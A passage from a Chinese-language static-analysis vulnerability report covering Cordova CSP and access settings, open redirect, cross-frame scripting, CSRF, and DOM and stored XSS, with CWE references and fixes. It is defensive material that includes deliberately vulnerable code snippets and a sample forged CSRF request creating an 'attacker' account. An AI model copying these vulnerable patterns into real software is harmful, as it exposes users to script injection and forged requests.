解释	如果不严格限制应用程序访问不可信任的 Web 地址，可能会导致应用程序泄漏信息，例如通过更改 Webview 内容，或通过跨站点脚本 (XSS) 攻击等实现 Web 攻击。 Cordova 应用程序有多种连接 Web 的方法： 使用 webview 的 Widget 依赖 <access> 标记的 "origin" 特性来确定跨域策略。没有标记的默认行为是拒绝所有跨域，但 file:// 地址除外。但是，默认的 config.xmls 包含 使用 webview 的 Widget 也可能使用 <allow-navigation> 标签来确定可以导航到哪些域，因此可能将潜在的敏感数据传输到不可信任的域，或从不可信任的域获取恶意内容。 使用带域通配符的 <allow-intent> 标记的 Widget 允许通过系统的本机浏览器打开任意 URL，如果没有适当的限制，也可能导致信息泄露。
建议	通过在 Widget 的 <access> 标记的 "origin" 特性中显式声明可信任的域，取消对 webview 中不可信任的域的跨域访问。不要将这些值设置为通配符 ('*', 'http://*', 'https://*') 通过显式声明 <allow-navigation> "href" 特性取消对不可信任的域的导航访问。不要将这些值设置为通配符 ('*', 'http://*', 'https://*') 考虑将 <allow-intent> href 值设置为显式协议，以及对 http 和 https 设置为显式域，以取消有意访问。
CWE	CWE ID 942
OWASP2017	None

返回目录

漏洞名称	**Cordova Missing Content Security Policy**
默认严重性	3
摘要	Web 应用程序中未显式定义内容安全策略。
解释	内容安全策略标头要求脚本来源、嵌入的（子）框架、嵌入（父）框架或图像等内容源是当前网页信任和允许的内容来源；如果网页中的内容来源不符合严格的内容安全策略，浏览器会立即拒绝该内容。未定义策略会使应用程序的用户容易受到跨站点脚本 (XSS) 攻击、点击劫持攻击、内容伪造攻击等。 现代浏览器使用内容安全策略标头作为可信任内容来源的指示，这包括媒体、图像、脚本、框架等。如果未明确地定义这些策略，则默认的浏览器行为是允许不可信任的内容。 一个 HTML <meta> 标记未定义内容安全策略，这可能会使 HTML 网页受到攻击。
建议	根据业务要求和外部文件托管服务的部署布局，为所有适用的策略类型（frame、script、form、script、media、img 等）显式设置内容安全策略标头。特别是不要使用通配符 '*' 来设置这些策略，因为这将允许所有外部来源的内容。 内容安全策略可在 web 应用程序代码中通过 web 服务器配置显式定义，也可在 HTML 的 <head> 部分的 <meta> 标记中定义。
CWE	CWE ID 346
OWASP2017	None

返回目录

漏洞名称	**Cordova Open Redirect**
默认严重性	4
摘要	X（文件） 文件第 N 行 XX（元素） 元素提供的可能被污染的值被 Y（文件） 文件第 M 行 YY（元素） 元素用作目标 URL，这可能使攻击者可以执行开放重定向。
解释	攻击者可能使用社交工程让受害者点击指向此应用程序的某个链接，以此方式将用户立即重定向到另一个攻击者选好的另一个网站。然后攻击者可以伪造一个目标网站来欺骗受害者；例如，攻击者可能伪造一个钓鱼网站，其 UI 外观与之前网站的登录页面相同，其 URL 看起来与之前网站的相似，以此蒙骗用户在此攻击者的网站上提交自己的访问凭证。再比如，某些钓鱼网站的 UI 外观与常用支付服务的相同，以此蒙骗用户提交自己的支付信息。 应用程序将用户的浏览器重定向到由污染的输入提供的 URL，而未能先确保 URL 定向到可信任的目标，也未警告用户他们将被重定向到当前网站外部。攻击者可能使用社交工程让受害者点击指向此应用程序的链接，其中使用参数定义了另一个网站，以使应用程序将用户的浏览器重定向到此网站。因为用户可能没有注意到被重定向，他们可能会误以为他们当前浏览的网站是可信任的。
建议	理想情况下，不要允许任意 URL 进行重定向。而要创建由用户提供的参数值到合法 URL 的映射。 如果需要允许任意 URL: 对于应用程序站点内的 URL，先对用户提供的参数进行过滤和编码，然后执行以下操作之一: 创建在应用程序内允许的 URL 的白名单 将变量以同样的方式用作相对和绝对 URL，方法是为变量添加应用程序网站域的前缀 - 这可保证所有重定向都发生在域内 对于应用程序外的 URL（如必要），执行以下操作之一: 先通过可信任的前缀来筛选 URL，之后通过白名单重定向到所允许的外部域。前缀必须测试到第三个斜杠 [/] - scheme://my.trusted.domain.com/，以排除规避。例如，如果未验证到第三个斜杠 [/] 且 scheme://my.trusted.domain.com 是可信任的，则此过滤器会认为 URL scheme://my.trusted.domain.com.evildomain.com 是有效的，但实际浏览的域是 evildomain.com，而不是 domain.com。 为了实现完全动态开放重定向，请使用一个中间免责声明页面来明确警告用户正在离开此站点。
CWE	CWE ID 601
OWASP2017	None

返回目录

漏洞名称	**Cordova Permissive Content Security Policy**
默认严重性	3
摘要	通过 X（文件） 文件第 N 行 XXX（方法） 方法设置的内容安全策略标头 XX（元素） 过于宽松。
解释	内容安全策略标头要求脚本来源、嵌入的（子）框架、嵌入（父）框架或图像等内容源是当前网页信任和允许的内容来源；如果网页中的内容来源不符合严格的内容安全策略，浏览器会立即拒绝该内容。不按策略执行严格的内容行为会使应用程序的用户容易受到跨站点脚本 (XSS) 攻击、点击劫持攻击、内容伪造攻击等。 现代浏览器使用内容安全策略标头作为可信任内容来源的指示，这包括媒体、图像、脚本、框架等。如果这些策略定义得太广泛，浏览器就难以有效地阻止不可信任的内容。 一个 HTML <meta> 标记定义了内容安全策略，但定义了过于宽松的值，可能会使网页受到攻击。
建议	根据业务要求和外部文件托管服务的部署布局，为所有适用的策略类型（frame、frame-ancestor、script、form-actions、script、media、img 等）设置内容安全策略标头。特别是不要使用通配符 '*' 来设置这些策略，因为这将允许所有外部来源的内容。 内容安全策略可在 web 应用程序代码中通过 web 服务器配置显式定义，也可在 HTML 页面的 <head> 部分的 <meta> 标记中定义。
CWE	CWE ID 346
OWASP2017	None

返回目录

漏洞名称	**Cordova Privacy Violation**
默认严重性	4
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法向应用程序外发送用户信息。这可能造成“侵犯隐私”。
解释	用户的个人信息可能被恶意程序员或拦截数据的攻击者窃取。 应用程序将用户信息（例如密码、帐户信息或信用卡号）发送到应用程序外，例如将其写入本地文本或日志文件或将其发送到外部 Web 服务。
建议	应该在将个人数据写入日志或其他文件之前将其删除。 检查将个人数据发送到远程 Web 服务的必要性和理由。
CWE	CWE ID 359
OWASP2017	None

返回目录

漏洞名称	**Cross-Frame Scripting**
默认严重性	3.0
摘要	如果未能限制在 iframe 内包含应用程序，则会导致跨站请求伪造或钓鱼攻击。
解释	当应用程序出现以下情况时，将出现 cross-frame scripting 漏洞： 1. 允许自身包含在 iframe 内。 2. 未能通过 X-Frame-Options 标头指定组帧策略。 3. 使用不力保护，如基于 JavaScript 的 frame busting 逻辑。 跨框架脚本漏洞经常为 clickjacking 攻击奠定基础，攻击者可利用其执行跨站请求伪造或钓鱼攻击。

建议	现代浏览器支持 X-Frame-Options HTTP 标头，它指示允许在帧内还是 iframe 内加载资源。如果响应包含值为 SAMEORIGIN 的标头，则当请求来自同一个站点时，浏览器将只在帧中加载资源。如果标头设置为 DENY，则无论站点是否发出请求，浏览器都将阻止在帧中加载资源。
	
	Helmet 中间件可与 Express 应用程序一起使用，以便于在所有响应中自动包含此标头。使用以下设置启用 XFrameOptionsMiddleware
	
	var express = require('express');
	var app = express();
	var helmet = require('helmet');
	app.use(helmet()); //defaults to SAMEORIGIN
	//alternatively for SAMEORIGIN app.use(helmet.frameguard({action: 'sameorigin'});
	//alternatively for DENY framing app.use(helmet.frameguard({action: 'deny'});
	...

CWE	CWE ID 1021
OWASP2017	None

返回目录

漏洞名称	**Cross-Session Contamination**
默认严重性	3.0
摘要	在 localStorage 和 sessionStorage 之间传输值会不知不觉地暴露敏感信息。

解释	HTML5 提供 localStorage 和 sessionStorage 映射，以支持开发人员保留程序值。sessionStorage 映射仅在页面实例和即时浏览器会话期间为调用页面提供存储。但是，localStorage 映射会提供可供多个页面实例和浏览器实例访问的存储。此功能允许应用程序在多个浏览器选项卡或窗口中保留和使用同一信息。
	例如，开发人员可能希望在旅游应用程序中使用多个浏览器选项卡或实例，以支持用户打开多个选项卡来比较住宿选择，同时保留用户最初的搜索条件。在传统的 HTTP 存储方法中，用户会面临在一个选项卡中执行的购买和决策（并存储在会话或 cookies 中）与另一个选项卡中的购买相干扰的风险。
	借助跨多个浏览器选项卡使用用户值的功能，开发人员必须多加小心，以免将敏感信息从 sessionStorage 范围移至 localStorage，反之亦然。
	示例：以下示例将信用卡 CCV 信息存储在会话中，表明用户已授权该站点收取文件中卡的购买费用。对于在浏览器选项卡环境中的每个购买尝试，都需要信用卡许可。为避免重新输入 CCV，此信息被存储在 sessionStorage 对象中。但是，开发人员还将信息存储在 localStorage 对象中。
	...
	try {
	sessionStorage.setItem("userCCV", currentCCV);
	} catch (e) {
	if (e == QUOTA_EXCEEDED_ERR) {
	alert('Quota exceeded.');
	}
	}
	...
	...
	var retrieveObject = sessionStorage.getItem("userCCV");
	try {
	localStorage.setItem("userCCV",retrieveObject);
	} catch (e) {
	if (e == QUOTA_EXCEEDED_ERR) {
	alert('Quota exceeded.');
	}
	...
	var userCCV = localStorage.getItem("userCCV");

返回目录

	... } ... 通过将信息放回 localStorage 对象中，此 CCV 信息在其他浏览器选项卡和新调用的浏览器中可用。这样可以绕开预期工作流的应用程序逻辑。
建议	不要将敏感数值或业务工作流所依赖的值存储在 localStorage 或 sessionStorage 范围中。将数据从一种存储格式迁移至另一种存储格式时，需要考虑迁移对于问题数据的隐私性和依赖该数据的业务逻辑的影响。
CWE	CWE ID 501
OWASP2017	None

返回目录

漏洞名称	**Cross-Site Request Forgery**
默认严重性	2.0
摘要	X（文件） 第 N 行中的 HTTP 请求必须包含用户特有的机密，防止攻击者发出未经授权的请求。HTTP 请求必须包含用户特有的机密，以防止攻击者发出未经授权的请求。

解释	跨站点伪装请求 (CSRF) 漏洞会在以下情况下发生：
	1. Web 应用程序使用会话 cookie。
	2. 应用程序未验证请求是否经过用户同意便处理 HTTP 请求。
	在这种情况下，应用程序在 X（文件）第 N 行中生成 HTTP 请求。Nonce 是随消息一起发送的加密随机值，可防止 replay 攻击。如果该请求未包含证明其来源的 nonce，则处理该请求的代码将易受到 CSRF 攻击（除非它并未更改应用程序的状态）。这意味着使用会话 cookie 的 Web 应用程序必须采取特殊的预防措施，确保攻击者无法诱骗用户提交伪请求。假设有一个 Web 应用程序，它允许管理员创建新帐户，如下所示：
	var req = new XMLHttpRequest();
	req.open("POST", "/new_user", true);
	body = addToPost(body, new_username);
	body = addToPost(body, new_passwd);
	req.send(body);
	攻击者可以设置一个包含以下代码的恶意网站。
	var req = new XMLHttpRequest();
	req.open("POST", "http://www.example.com/new_user", true);
	body = addToPost(body, "attacker");
	body = addToPost(body, "haha");
	req.send(body);
	如果 example.com 的管理员在网站上具有活动会话时访问了恶意页面，则会在毫不知情的情况下为攻击者创建一个帐户。这就是 CSRF 攻击。正是由于该应用程序无法确定请求的来源，才有可能受到 CSRF 攻击。任何请求都有可能是用户选定的合法操作，也有可能是攻击者设置的伪操作。攻击者无法查看伪请求生成的网页，因此，这种攻击技术仅适用于篡改应用程序状态的请求。
	如果应用程序通过 URL 传递会话标识符（而不是 cookie），则不会出现 CSRF 问题，因为攻击者无法访问会话标识符，也无法在伪请求中包含会话标识符。
	CSRF 在 2007 OWASP Top 10 排行榜上名列第 5。

建议	使用会话 Cookie 的应用程序必须在每个表单发布中包含几条信息，以便后端代码可以用来验证请求的来源。为此，其中一种方法就是使用一个随机请求标识符或随机数，如下所示： RequestBuilder rb = new RequestBuilder(RequestBuilder.POST, "/new_user");

返回目录

	body = addToPost(body, new_username);
	body = addToPost(body, new_passwd);
	body = addToPost(body, request_id);
	rb.sendRequest(body, new NewAccountCallback(callback));
	这样，后端逻辑可先验证请求标识符，然后再处理其他表单数据。如果可能，每个服务器请求的请求标识符都应该是唯一的，而不是在特定会话的各个请求之间共享。对于会话标识符而言，攻击者越难猜出请求标识符，则越难成功进行 CSRF 攻击。标记不应能够轻松猜出，它应以保护会话标记相同的方法得到保护，例如使用 SSLv3。
	其他缓解技术还包括：
	框架保护：大多数现代化的 Web 应用框架都嵌入了 CSRF 保护，它们将自动包含并验证 CSRF 标记。
	使用质询-响应控制：强制客户响应由服务器发送的质询是应对 CSRF 的强有力防御方法。可以用于此目的的一些质询如下：CAPTCHA、密码重新验证和一次性标记。
	检查 HTTP Referer/原始标题：攻击者在执行 CSRF 攻击时无法冒仿这些标题。这使这些标题可以用于预防 CSRF 攻击。
	再次提交会话 Cookie：除了实际的会话 ID Cookie 外，将会话 ID Cookie 作为隐藏表单值发送是预防 CSRF 攻击的有效防护方法。服务器在处理其余表单数据之前，会先检查这些值，以确保它们完全相同。如果攻击者代表用户提交表单，他将无法根据同源策略修改会话 ID Cookie 值。
	限制会话的有效期：当通过 CSRF 攻击访问受保护的资源时，只有当作为攻击一部分发送的会话 ID 在服务器上仍然有效时，攻击才会生效。限制会话的有效期将降低攻击成功的可能性。
	这里所描述的技术可以使用 XSS 攻击破解。有效的 CSRF 缓解包括 XSS 缓解技术。

CWE	CWE ID 352
OWASP2017	None

返回目录

漏洞名称	**Cross-Site Scripting:DOM**
默认严重性	4.0
摘要	X（文件） 中的方法 XXX（方法） 向第 N 行的 Web 浏览器发送非法数据，从而导致浏览器执行恶意代码。向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。

解释	Cross-Site Scripting (XSS) 漏洞在以下情况下发生：
	1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于基于 DOM 的 XSS，将从 URL 参数或浏览器中的其他值读取数据，并使用客户端代码将其重新写入该页面。对于 Reflected XSS，不可信赖的数据源通常为 Web 请求，而对于 Persisted（也称为 Stored）XSS，该数据源通常为数据库或其他后端数据存储。
	在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。
	2.未经验证但包含在动态内容中的数据将传送给 Web 用户。对于基于 DOM 的 XSS，任何时候当受害人的浏览器解析 HTML 页面时，恶意内容都将作为 DOM（文档对象模型）创建的一部分执行。
	在这种情况下，数据通过 Y（文件）的第 M 行中的 YY（函数） 传送。
	传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式，但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出，几乎是无穷无尽的，但通常它们都会包含传输给攻击者的私人数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。
	例 1：下面的 JavaScript 代码片段可从 URL 中读取雇员 ID eid，并将其显示给用户。
	<SCRIPT>
	var pos=document.URL.indexOf("eid=")+4;
	document.write(document.URL.substring(pos,document.URL.length));
	</SCRIPT>
	示例 2：考虑使用 HTML 表单：
	<div id="myDiv">
	Employee ID: <input type="text" id="eid">
	
	...
	<button>Show results</button>
	</div>
	<div id="resultsDiv">
	...
	</div>
	下面的 jQuery 代码片段可从表单中读取雇员 ID，并将其显示给用户。
	$(document).ready(function(){

返回目录

```
    $("#myDiv").on("click", "button", function(){
      var eid = $("#eid").val();
      $("resultsDiv").append(eid);
      ...
    });
  });
```

如果文本输入中 ID 为 eid 的雇员 ID 仅包含标准字母数字文本，则这些代码示例可正确运行。如果 eid 中的某个值包含元字符或源代码，则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

示例 3：以下代码显示了 React 应用程序中基于 DOM 的 XSS 示例：

```
let element = JSON.parse(getUntrustedInput());
ReactDOM.render(&lt;App&gt;
    {element}
&lt;/App&gt;);
```

在 Example 3 中，如果攻击者可以控制从 getUntrustedInput() 检索到的整个 JSON 对象，他们可能就能够使 React 将 element 呈现为一个组件，从而可以使用他们自己控制的值传递具有 dangerouslySetInnerHTML 的对象，这是一种典型的 Cross-Site Scripting 攻击。

最初，这些代码看起来似乎不会轻易遭受攻击。毕竟，有谁会输入包含可在自己电脑上运行的恶意代码的内容呢？真正的危险在于攻击者会创建恶意的 URL，然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时，他们不知不觉地通过易受攻击的网络应用程序，将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

正如例子中所显示的，XSS 漏洞是由于 HTTP 响应中包含了未验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种：

- 系统从 HTTP 请求中直接读取数据，并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容，而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时，就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是，将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心，攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。当该站点将攻击者的内容反馈给受害者后，便会执行这些内容，接下来会将用户计算机中的各种私密信息（比如可能包含会话信息的 Cookie）传输给攻击者，或者执行其他恶意活动。

— 应用程序将危险数据存储在数据库或其他可信赖的数据存储器中。这些危险数据随后会被回写到应用程序中，并包含在动态内容中。Persistent XSS 盗取发生在如下情况：攻击者将危险内容注入到数据存储器中，且该存储器之后会被读取并包含在动态内容中。从攻击者的角度看，注入恶意内容的最佳位置莫过于一个面向许多用户，尤其是

返回目录

	相关用户显示的区域。相关用户通常在应用程序中具备较高的特权，或相互之间交换敏感数据，这些数据对攻击者来说有利用价值。如果某一个用户执行了恶意内容，攻击者就有可能以该用户的名义执行某些需要特权的操作，或者获得该用户个人所有的敏感数据的访问权限。 — 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中，随后这些危险数据被当作可信赖的数据回写到应用程序中，并储存在动态内容中。
建议	针对 XSS 的解决方法是，确保在适当位置进行验证，并检验其属性是否正确。 由于 XSS 漏洞在应用程序的输出中包含恶意数据时出现，因此，合乎逻辑的方法是在数据流出应用程序的前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态内容，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 XSS 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是，加强一个应用程序现有的输入验证机制，将 XSS 检测包括其中。尽管有一定的价值，但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。 针对 XSS 漏洞进行验证最安全的方式是，创建一个安全字符允许列表，允许其中的字符出现在 HTTP 内容中，并且只接受完全由这些经认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，电话号码可能仅包含 0-9 的数字。然而，这种解决方法在 Web 应用程序中通常是行不通的，因为许多字符对浏览器来说都具有特殊的含义，编码时这些字符必须被视为合法输入，例如，一个 Web 设计电子公告栏就必须接受其用户提供的 HTML 片段。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样一个列表，首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义，但是许多 Web 浏览器会设法更正 HTML 中的常见错误，并可能在特定的上下文中认为其他字符具有特殊含义，这就是我们不鼓励使用拒绝列表作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]: 在有关块级别元素的内容中（位于一段文本的中间）： – "<" 是一个特殊字符，因为它可以引入一个标签。 – "&" 是一个特殊字符，因为它可以引入一个字符实体。

返回目录

	– ">" 是一个特殊字符，之所以某些浏览器将其认定为特殊字符，是基于一种假设，即该页的作者本想在前面添加一个 "<"，却错误地将其遗漏了。 下面的这些原则适用于属性值： – 对于外加双引号的属性值，双引号是特殊字符，因为它们标记了该属性值的结束。 – 对于外加单引号的属性值，单引号是特殊字符，因为它们标记了该属性值的结束。 – 对于不带任何引号的属性值，空格字符（如空格符和制表符）是特殊字符。 - "&" 与某些特定变量一起使用时是特殊字符，因为它引入了一个字符实体。 例如，在 URL 中，搜索引擎可能会在结果页面内提供一个链接，用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句，这将引入更多特殊字符： – 空格符、制表符和换行符是特殊字符，因为它们标记了 URL 的结束。 - "&" 是特殊字符，因为它可引入一个字符实体或分隔 CGI 参数。 - 非 ASCII 字符（即 ISO-8859-1 编码表中所有大于 127 的字符）不允许出现在 URL 中，因此这些字符在此环境下被视为特殊字符。 – 在服务器端对在 HTTP 转义序列中编码的参数进行解码时，必须过滤掉输入中的 "%" 符号。例如，当输入中出现 "%68%65%6C%6C%6F" 时，只有从输入的内容中过滤掉 "%"，上述字符串才能在网页上显示为 "hello"。 在 <SCRIPT> </SCRIPT> 的正文内： - 如果可以将文本直接插入到已有的脚本标签中，应该过滤掉分号、省略号、中括号和换行符。 服务器端脚本： – 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (")，则可能需要对此进行更多过滤。 其他可能出现的情况： – 如果攻击者以 UTF-7 格式提交了请求，则特殊字符“<”可能会显示为“+ADw-”，并可能会绕过过滤。如果输出包含在没有确切指定编码格式的网页中，某些浏览器就会设法根据内容自动识别编码（此处采用 UTF-7 格式）。 在应用程序中确定针对 XSS 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入，那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而，过滤的负面作用在于，过滤内容的显示将发生改变。在需要完整显示输入内容的情况下，过滤的这种负面作用可能是无法接受的。

返回目录

	如果必须接受带有特殊字符的输入，并将其准确地显示出来，验证机制一定要对所有特殊字符进行编码，以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。 许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞，具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式，以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CCI-001310, CCI-002754
OWASP2017	A3 Cross-Site Scripting (XSS)

返回目录

漏洞名称	**Cross-Site Scripting:Persistent**
默认严重性	4.0
摘要	X（文件） 中的方法 XXX（方法） 向第 N 行的 Web 浏览器发送非法数据，从而导致浏览器执行恶意代码。向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。

解释	Cross-Site Scripting (XSS) 漏洞在以下情况下发生：
	1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Persistent（也称为 Stored）XSS，不可信赖的数据源通常为数据库或其他后端数据存储，而对于 Reflected XSS，该数据源通常为 Web 请求。
	在这种情况下，数据进入 X（文件）的第 N 行的 XX（函数） 中。
	2.未经验证但包含在动态内容中的数据将传送给 Web 用户。
	在这种情况下，数据通过 Y（文件）的第 M 行中的 YY（函数） 传送。
	传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式，但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出，几乎是无穷无尽的，但通常它们都会包含传输给攻击者的私人数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。
	示例 1：下面的 Node.js 代码片段会根据给定的雇员 ID 查询数据库，并打印相应雇员的姓名。
	var http = require('http');
	...
	function listener(request, response){
	connection.query('SELECT * FROM emp WHERE eid=''' + eid + ''',
	function(err, rows){
	if (!err && rows.length > 0){
	response.write(' Welcome, ' + rows[0].name +
	'! ');
	}
	...
	});
	...
	}
	...
	http.createServer(listener).listen(8080);
	如果对 name 的值处理得当，该代码就能正常地执行各种功能；如若处理不当，就会对代码的盗取行为无能为力。这段代码暴露出的危险较小，因为 name 的值是从数据库中读取的，而且显然这些内容是由应用程序管理的。然而，如果 name 的值是由用户提供的数据产生，

返回目录

	数据库就会成为恶意内容沟通的通道。如果不对数据库中存储的所有数据进行恰当的输入验证，那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的 Persistent XSS（也称为 Stored XSS）盗取极其阴险狡猾，因为数据存储导致的间接性使得辨别威胁的难度增大，而且还提高了一个攻击影响多个用户的可能性。XSS 盗取会从访问提供留言簿（guestbook）的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript，接下来所有访问该留言簿的用户都会执行这些恶意代码。
	示例 2：以下 Node.js 代码片段会在 HTTP 请求中读取雇员 ID eid，并将其显示给用户。
	var http = require('http');
	var url = require('url');
	...
	function listener(request, response){
	var eid = url.parse(request.url, true)['query']['eid'];
	if (eid !== undefined){
	response.write(' Welcome, ' + eid + '! ');
	}
	...
	}
	...
	http.createServer(listener).listen(8080);
	如 Example 1 中所示，如果 eid 只包含标准的字母数字文本，此代码将会正确运行。如果 eid 中的某个值包含元字符或源代码，则 Web 浏览器就会在显示 HTTP 响应时执行该代码。
	起初，这个例子似乎是不会轻易遭受攻击的。毕竟，有谁会输入导致恶意代码在自己电脑上运行的 URL 呢？真正的危险在于攻击者会创建恶意的 URL，然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时，他们不知不觉地通过易受攻击的网络应用程序，将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。
	正如例子中所显示的，XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种：
	- 如 Example 1 中所示，应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中，并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用：攻击者将危险内容注入到数据存储中，而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看，注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权，或者可以与敏感数据交互，这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容，攻击者就有可能以该用户的名义执行某些需要特权的操作，或者获得该用户个人敏感数据的访问权。

返回目录

	- 如 Example 2 中所示，系统从 HTTP 请求中直接读取数据，并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容，而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时，就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是，将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心，攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。当该站点将攻击者的内容反馈给受害者后，便会执行这些内容，接下来会将用户计算机中的各种私密信息（比如可能包含会话信息的 Cookie）传输给攻击者，或者执行其他恶意活动。 — 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中，随后这些危险数据被当作可信赖的数据回写到应用程序中，并储存在动态内容中。
建议	针对 XSS 的解决方法是，确保在适当位置进行验证，并检验其属性是否正确。 由于 XSS 漏洞在应用程序的输出中包含恶意数据时出现，因此，合乎逻辑的方法是在数据流出应用程序的前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态内容，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 XSS 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是，加强一个应用程序现有的输入验证机制，将 XSS 检测包括其中。尽管有一定的价值，但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。 针对 XSS 漏洞进行验证最安全的方式是，创建一个安全字符允许列表，允许其中的字符出现在 HTTP 内容中，并且只接受完全由这些经认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，电话号码可能仅包含 0-9 的数字。然而，这种解决方法在 Web 应用程序中通常是行不通的，因为许多字符对浏览器来说都具有特殊的含义，编码时这些字符必须被视为合法输入，例如，一个 Web 设计电子公告栏就必须接受其用户提供的 HTML 片段。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样一个列表，首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义，但是许多 Web 浏览器会设法更正 HTML 中的常见错误，并可能在特定的上下文中认为其他字符具有特殊含义，这就是我们不鼓励使用拒绝列表作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R)

返回目录

